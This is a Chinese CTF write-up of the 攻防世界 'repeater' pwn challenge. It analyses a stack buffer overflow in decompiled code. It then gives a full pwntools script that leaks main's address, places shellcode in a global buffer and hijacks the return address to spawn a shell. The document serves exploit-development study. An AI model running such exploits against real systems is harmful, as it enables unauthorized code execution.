PWN 攻防世界 repeater

zhugeshi 发布于 2025-04-03 84 次阅读


PWN 攻防世界 repeater

1.用ida打开,首先我们能看到maim函数先进入一个循环,

里面有一个read函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[32]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  sub_91B();
  sub_A08();
  v5 = 1192227;
  puts("I can repeat your input.......");
  puts("Please give me your name :");
  memset(byte_202040, 0, sizeof(byte_202040));
  sub_982(byte_202040, 48LL);
  for ( i = 0; i < v5; ++i )
  {
    printf("%s's input :", byte_202040);
    memset(s, 0, sizeof(s));
    read(0, s, 0x40uLL);
    puts("sorry... I can't.....");
    if ( v5 == 3281697 )
    {
      puts("But there is gift for you :");
      printf("%p\n", main);
    }
  }
  return 0LL;
}

可以看到,read函数往s中读入0x40个字节的数据,从上面可以看到s的大小为32,所以存在溢出的漏洞。并且这个溢出可以修改v5和返回地址的值。

  char s[32]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

注意这里的堆栈,rbp-30h是s的地址,rbp-10h是v5的地址,rbp-4h是i的地址
又因为是64位程序,所以rbp+8h是返回地址的地址,到时候修改返回地址即可修改程序的执行流程

2.利用

  1. 开始的时候会往byte_202040读入数据,我们写入shellcode
  2. 然后通过溢出我们修改v5的值,从而得到main函数地址
  3. 通过main函数地址和偏移得到shellcode地址(elf寻址方式似乎和PE有点不一样?)
  4. 再次溢出修改返回地址,使程序执行shellcode
from pwn import *

sh = remote('61.147.171.105','63802')

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

sh.sendlineafter('name :',shellcode)

num = 3281697
payload = b'a'*0x20 + p64(num)
sh.sendlineafter('input :',payload) #修改v5的值,修改流程 

sh.recvuntil('you :\n0x')
main_addr = int(sh.recv(12),16) 

shellcode_addr = (main_addr - 0xa33) + 0x202040 # 0x202040是s的地址, 0xa33是main函数的偏移,(main_addr - 0xa33)可以计算出基地址,而基地址加上偏移就是全局变量shellcode的地址
payload2 = b'a'*0x20 + b'b'*0x10 + p64(0x1) + p64(shellcode_addr) #注入shellcode拿到权限

sh.sendlineafter('input',payload2)

sh.interactive()

找漏洞好像还是挺有意思
对...对吗?

超级大菜鸡!!!
最后更新于 2025-04-03